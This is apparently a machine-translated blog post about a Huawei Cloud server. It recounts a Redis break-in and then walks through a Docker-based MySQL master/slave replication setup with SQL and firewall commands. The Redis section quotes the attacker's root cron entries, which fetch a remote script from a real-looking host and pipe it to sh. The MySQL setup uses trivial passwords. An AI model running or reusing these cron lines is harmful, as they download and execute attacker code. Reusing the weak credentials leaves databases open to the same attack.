Huawei Cloud Yaoyun Server L インスタンスの評価 | Redis 脆弱性レビューとマスター/スレーブ クラスターを構築するための MySQL データ セキュリティ ソリューション MySQL と関連設定

ここに画像の説明を挿入します

序文

最近、Huawei Cloud Yaoyun Server L インスタンスがリリースされ、私も購入して遊んでみました。この間、MySQL データベースが攻撃されてデータが失われるという事態に遭遇しました。幸いなことに、いくつかのバックアップがあったため、問題は発生しませんでした。 Redis データベースが攻撃されたことが判明した後、最初に問題を解決するために Redis パスワードが追加されました。要するに、彼らはさまざまな方法でひどく殴られました。

このブログでは、Redis の不正アクセスの脆弱性をレビューし、MySQL マスター/スレーブ クラスターの構築と関連構成を紹介します。

ここに画像の説明を挿入します

その他の関連する Huawei Cloud Yaoyun Server L インスタンスの評価記事のリストは次のとおりです。

ここに画像の説明を挿入します

導き出す


1. Redis データセキュリティの簡単なおさらい; 2.
MySQL マスタースレーブ構築の手順と注意点;
3. マスタースレーブ同期と読み取り専用権限の設定; 5. MySQL マスタースレーブ構築の手順と注意点

ここに画像の説明を挿入します

1. Redis データのセキュリティの問題

1. 以前の攻撃によって残された痕跡

ここに画像の説明を挿入します

ここに画像の説明を挿入します

*/2 * * * * root cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh
*/3 * * * * root wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh
*/4 * * * * root curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh
*/5 * * * * root wd1 -q -O- http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh

2. 攻撃コマンドの解釈

root wget -q -O-は有効なコマンドです。コマンドを使用してwgetファイルをダウンロードし、標準出力 (stdout) に出力します。

  • rootコマンドが root ユーザーとして実行されることを示します。
  • wgetインターネットからファイルをダウンロードするためのコマンドライン ツールです。
  • -qこのオプションは、ダウンロードの進行状況やその他の情報を表示しないサイレント モードを示します。
  • -O-このオプションは、ダウンロードしたファイルを標準出力 (stdout) に出力することを意味します。

このコマンドは通常、ファイルをダウンロードして他のコマンドに渡して処理するか、ファイルの内容を保存または処理するために他の場所にリダイレクトするために使用されます。

root curl -fsSLは有効なコマンドです。コマンドを使用してcurl、指定された URL からファイルをダウンロードし、標準出力 (stdout) に出力します。

  • rootコマンドが root ユーザーとして実行されることを示します。
  • curlネットワークからデータを取得するためのコマンド ライン ツールです。
  • -fsSLはいくつかのオプションですが、具体的な意味は次のとおりです。
    • -fこのオプションは、ファイルのダウンロード時にサーバーがエラー ステータス コードを返した場合、エラー メッセージは表示されないことを意味します。
    • -sオプションはサイレント モードを示します。これは、進行状況やその他の情報が表示されないことを意味します。
    • -Sオプションは、エラーが発生したときにエラーメッセージを表示することを意味します。
    • -Lこのオプションは、リダイレクトに従うことを意味します。つまり、サーバーがリダイレクト応答を返した場合、自動的に新しい URL にジャンプします。

このコマンドは通常、ファイルをダウンロードして他のコマンドに渡して処理するか、ファイルの内容を保存または処理するために他の場所にリダイレクトするために使用されます。

2. MySQLマスタースレーブローカル構築

MySQL のマスター/スレーブのセットアップは Redis のマスター/スレーブのセットアップよりもはるかに複雑であるため、これまでに何度か失敗し、最終的にセットアップが成功しました。 。

ここに画像の説明を挿入します

1. メインの MySQL をマウントして起動します。

ドッカーラン

  • -i: コンテナーを対話モードで実行します。
  • -t: 疑似入力端子をコンテナに再割り当てします。
  • --name: コンテナ名
  • --privileged: コンテナのパブリック権限を設定します (デフォルトは true)
  • -p: マップされたポート Linux ポート: コンテナーの組み込みポート (mysql のデフォルトのポートは 3306)
  • -v: Linux でマウントされたフォルダー/ファイルとコンテナー内のパスのマッピング
  • -e: コンテナ環境変数 (mysql のデフォルトのユーザー名とパスワードを設定)
  • -d: コンテナをバックグラウンドで実行し、コンテナ ID を返します。
docker run -it \
--name mysql_3316 \
--privileged \
-p 3316:3306 \
-v /usr/local/software/mysql/3316/conf/my.cnf:/etc/mysql/my.cnf \
-v /usr/local/software/mysql/3316/data:/var/lib/mysql \
-v /usr/local/software/mysql/3316/mysql-files:/var/lib/mysql-files \
-e MYSQL_ROOT_PASSWORD=123 \
-d mysql

mysqlログファイルコンテナ内の場所

ここに画像の説明を挿入します

MySQL のメインステータス、binlog ログファイル名、および場所

ここに画像の説明を挿入します

マスター/スレーブ設定の前提条件は、binlog ログ ファイルが有効であることです。これは MySQL 8 以降ではデフォルトで有効になっています。

mysql> show variables like 'log_%';
+----------------------------------------+----------------------------------------+
| Variable_name                          | Value                                  |
+----------------------------------------+----------------------------------------+
| log_bin                                | ON                                     |
| log_bin_basename                       | /var/lib/mysql/binlog                  |
| log_bin_index                          | /var/lib/mysql/binlog.index            |
| log_bin_trust_function_creators        | OFF                                    |
| log_bin_use_v1_row_events              | OFF                                    |
| log_error                              | stderr                                 |
| log_error_services                     | log_filter_internal; log_sink_internal |
| log_error_suppression_list             |                                        |
| log_error_verbosity                    | 2                                      |
| log_output                             | FILE                                   |
| log_queries_not_using_indexes          | OFF                                    |
| log_raw                                | OFF                                    |
| log_replica_updates                    | ON                                     |
| log_slave_updates                      | ON                                     |
| log_slow_admin_statements              | OFF                                    |
| log_slow_extra                         | OFF                                    |
| log_slow_replica_statements            | OFF                                    |
| log_slow_slave_statements              | OFF                                    |
| log_statements_unsafe_for_binlog       | ON                                     |
| log_throttle_queries_not_using_indexes | 0                                      |
| log_timestamps                         | UTC                                    |
+----------------------------------------+----------------------------------------+
21 rows in set (0.00 sec)

mysql> 

Navicat でも視聴できます

ここに画像の説明を挿入します

2. メイン設定ファイルを変更する

server_id=200
log_bin=mysql-bin
binlog_format=row

主な設定項目は以下の通りです

[mysqld]

pid-file   =/var/run/mysqld/mysqld.pid
socket     =/var/run/mysqld/mysqld.sock
datadir    =/var/lib/mysql

secure-file-priv = NULL
default-authentication-plugin=mysql_native_password

# customer config here
!includedir /etc/mysql/conf.d/

server_id = 200

確認:マウント起動の設定が有効になっているか

ここに画像の説明を挿入します

mysql> show master status;
+---------------+----------+--------------+------------------+-------------------+
| File          | Position | Binlog_Do_DB | Binlog_Ignore_DB | Executed_Gtid_Set |
+---------------+----------+--------------+------------------+-------------------+
| binlog.000002 |      157 |              |                  |                   |
+---------------+----------+--------------+------------------+-------------------+
1 row in set (0.00 sec)

mysql> show variables like 'server_id';
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| server_id     | 200   |
+---------------+-------+
1 row in set (0.00 sec)

binlog ログ ファイルのファイル名を再度変更します。

ここに画像の説明を挿入します

server_id = 209
log_bin=mysql-bin
binlog-format=row

マウントが正常に開始されたことを示します。

ここに画像の説明を挿入します

mysql> show master status;
+------------------+----------+--------------+------------------+-------------------+
| File             | Position | Binlog_Do_DB | Binlog_Ignore_DB | Executed_Gtid_Set |
+------------------+----------+--------------+------------------+-------------------+
| mysql-bin.000001 |      157 |              |                  |                   |
+------------------+----------+--------------+------------------+-------------------+
1 row in set (0.00 sec)

mysql> show variables like 'server_id';
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| server_id     | 209   |
+---------------+-------+
1 row in set (0.01 sec)

-- 1.创建从用户slave
CREATE USER 'slave'@'%' IDENTIFIED WITH mysql_native_password by '567';

-- 2.给用户授权
GRANT replication slave,replication client ON *.* TO 'slave'@'%';

-- 3.应用权限
FLUSH PRIVILEGES;

3. メイン MySQL にスレーブ ユーザーを作成する

スレーブユーザーを作成する

ここに画像の説明を挿入します

スレーブユーザー向けの暗号化方式を追加

ここに画像の説明を挿入します

後で必要なパラメータを設定します

ここに画像の説明を挿入します

このセクションのすべての操作

ここに画像の説明を挿入します

4. MySQL からのマウント起動

からの設定ファイル

server_id = 211
log_bin=mysql-slave01-bin
relay_log=pet-relay-bin
read_only=1

ここに画像の説明を挿入します

docker run -it \
--name mysql_3320 \
--privileged \
-p 3320:3306 \
-v /usr/local/software/mysql/3320/conf/my.cnf:/etc/mysql/my.cnf \
-v /usr/local/software/mysql/3320/data:/var/lib/mysql \
-v /usr/local/software/mysql/3320/mysql-files:/var/lib/mysql-files \
-e MYSQL_ROOT_PASSWORD=123 \
-d mysql

ポートを開く

firewall-cmd --zone=public --add-port=3320/tcp --permanent

firewall-cmd --reload

firewall-cmd --zone=public --list-ports

5. スレーブスレーブで主従関係を確立する

マスターの内部ポート番号

[root@localhost ~]# docker inspect mysql_3316 | grep IPA
            "SecondaryIPAddresses": null,
            "IPAddress": "172.17.0.3",
                    "IPAMConfig": null,
                    "IPAddress": "172.17.0.3",
[root@localhost ~]# 

メインのビンログ関連の設定

ここに画像の説明を挿入します

change master to master_host='172.17.0.3',
master_user='slave',master_password='567',
MASTER_LOG_FILE='mysql-bin.000001',
MASTER_LOG_POS=856

パラメータを設定する

ここに画像の説明を挿入します

6. スレーブのマスター/スレーブ状態を確認します。

ここに画像の説明を挿入します

mysql> change master to master_host='172.17.0.3',
    -> master_user='slave',master_password='567',
    -> MASTER_LOG_FILE='mysql-bin.000001',
    -> MASTER_LOG_POS=856;
Query OK, 0 rows affected, 8 warnings (0.02 sec)

mysql> start slave;
Query OK, 0 rows affected, 1 warning (0.01 sec)

mysql> show slave status \G;
*************************** 1. row ***************************
               Slave_IO_State: Waiting for source to send event
                  Master_Host: 172.17.0.3
                  Master_User: slave
                  Master_Port: 3306
                Connect_Retry: 60
              Master_Log_File: mysql-bin.000001
          Read_Master_Log_Pos: 856
               Relay_Log_File: eafddc4554f6-relay-bin.000002
                Relay_Log_Pos: 326
        Relay_Master_Log_File: mysql-bin.000001
             Slave_IO_Running: Yes
            Slave_SQL_Running: Yes

3. Huawei Cloud上でマスター/スレーブを構築する

1. マスター/スレーブフォルダーを準備し、設定ファイルをアップロードします

ここに画像の説明を挿入します

添付ファイル内の構成ファイルを conf フォルダーにアップロードします

ここに画像の説明を挿入します

2. 応答ポートを開きます

firewall-cmd --zone=public --add-port=3316/tcp --permanent
firewall-cmd --reload
firewall-cmd --zone=public --list-ports

ここに画像の説明を挿入します

3. マスターマスターをマウントして実行を開始します

マウント起動コマンド

docker run -it \
--name mysql_3316 \
--privileged \
-p 3316:3306 \
-v /usr/local/software/mysql1/3316/conf/my.cnf:/etc/mysql/my.cnf \
-v /usr/local/software/mysql1/3316/data:/var/lib/mysql \
-v /usr/local/software/mysql1/3316/mysql-files:/var/lib/mysql-files \
-e MYSQL_ROOT_PASSWORD=123 \
-d mysql

バイナリログが有効になっているかどうかを確認する

ここに画像の説明を挿入します

my.cnf 構成ファイルに構成を追加する

ここに画像の説明を挿入します

4. マスターマスターにスレーブユーザーを作成します

CREATE USER 'slave'@'%' IDENTIFIED WITH mysql_native_password by '567';
GRANT replication slave,replication client ON *.* TO 'slave'@'%';
FLUSH PRIVILEGES;

ここに画像の説明を挿入します

5. スレーブから自動マウント

docker run -it \
--name mysql_3320 \
--privileged \
-p 3320:3306 \
-v /usr/local/software/mysql1/3320/conf/my.cnf:/etc/mysql/my.cnf \
-v /usr/local/software/mysql1/3320/data:/var/lib/mysql \
-v /usr/local/software/mysql1/3320/mysql-files:/var/lib/mysql-files \
-e MYSQL_ROOT_PASSWORD=123 \
-d mysql

ポートを開きます

ここに画像の説明を挿入します

6. スレーブ側で主従関係を確立する

マスターの内部 IP アドレスを取得する

root@hcss-ecs-52b8:~# docker inspect mysql_3316 | grep IPA
            "SecondaryIPAddresses": null,
            "IPAddress": "172.17.0.3",
                    "IPAMConfig": null,
                    "IPAddress": "172.17.0.3",

マスターの関連パラメータを取得します

show variables like 'log_%';
show master status;
show variables like 'server_id';

ここに画像の説明を挿入します

主従関係を確立する

change master to master_host='172.17.0.3',
master_user='slave',master_password='567',
MASTER_LOG_FILE='mysql-bin.000001',
MASTER_LOG_POS=841

ここに画像の説明を挿入します

スレーブから始めることを忘れないでください

ここに画像の説明を挿入します

4. いくつかの問題とその解決策

1. 非同期データの問題の解決

-- 如果主从同步失效,在不能使用的从输入命令
STOP slave;
RESET slave;
START slave;

ここに画像の説明を挿入します

2. スレーブ権限を制限する: 読み取り専用のスレーブ ユーザーを作成します。

CREATE USER 'rdb'@'%' IDENTIFIED WITH mysql_native_password by '123';
GRANT SELECT ON *.* TO 'rdb'@'%';
FLUSH PRIVILEGES;

読み取り専用の RDB ユーザーを作成する

ここに画像の説明を挿入します

Navicat で rdb 読み取り専用ユーザーとしてログインすると、操作コマンドが拒否されました。

ここに画像の説明を挿入します

添付ファイル my.cnf 構成ファイル

# For advice on how to change settings please see
# http://dev.mysql.com/doc/refman/8.0/en/server-configuration-defaults.html


#
# Remove leading # and set to the amount of RAM for the most important data
# cache in MySQL. Start at 70% of total RAM for dedicated server, else 10%.
# innodb_buffer_pool_size = 128M
#
# Remove leading # to turn on a very important data integrity option: logging
# changes to the binary log between backups.
# log_bin
#
# Remove leading # to set options mainly useful for reporting servers.
# The server defaults are faster for transactions and fast SELECTs.
# Adjust sizes as needed, experiment to find the optimal values.
# join_buffer_size = 128M
# sort_buffer_size = 2M
# read_rnd_buffer_size = 2M

# Remove leading # to revert to previous value for default_authentication_plugin,
# this will increase compatibility with older clients. For background, see:
# https://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html#sysvar_default_authentication_plugin
# default-authentication-plugin=mysql_native_password


# skip-host-cache
# skip-name-resolve

# socket=/var/run/mysqld/mysqld.sock
# secure-file-priv=/var/lib/mysql-files
# user=mysql

[mysqld]

pid-file   =/var/run/mysqld/mysqld.pid
socket     =/var/run/mysqld/mysqld.sock
datadir    =/var/lib/mysql

secure-file-priv = NULL
default-authentication-plugin=mysql_native_password

# customer config here
!includedir /etc/mysql/conf.d/

server_id = 200

要約する

1. Redis データセキュリティの簡単なおさらい; 2.
MySQL マスタースレーブ構築の手順と注意点;
3. マスタースレーブ同期と読み取り専用権限の設定; 5. MySQL マスタースレーブ構築の手順と注意点

おすすめ

転載: blog.csdn.net/Pireley/article/details/132955411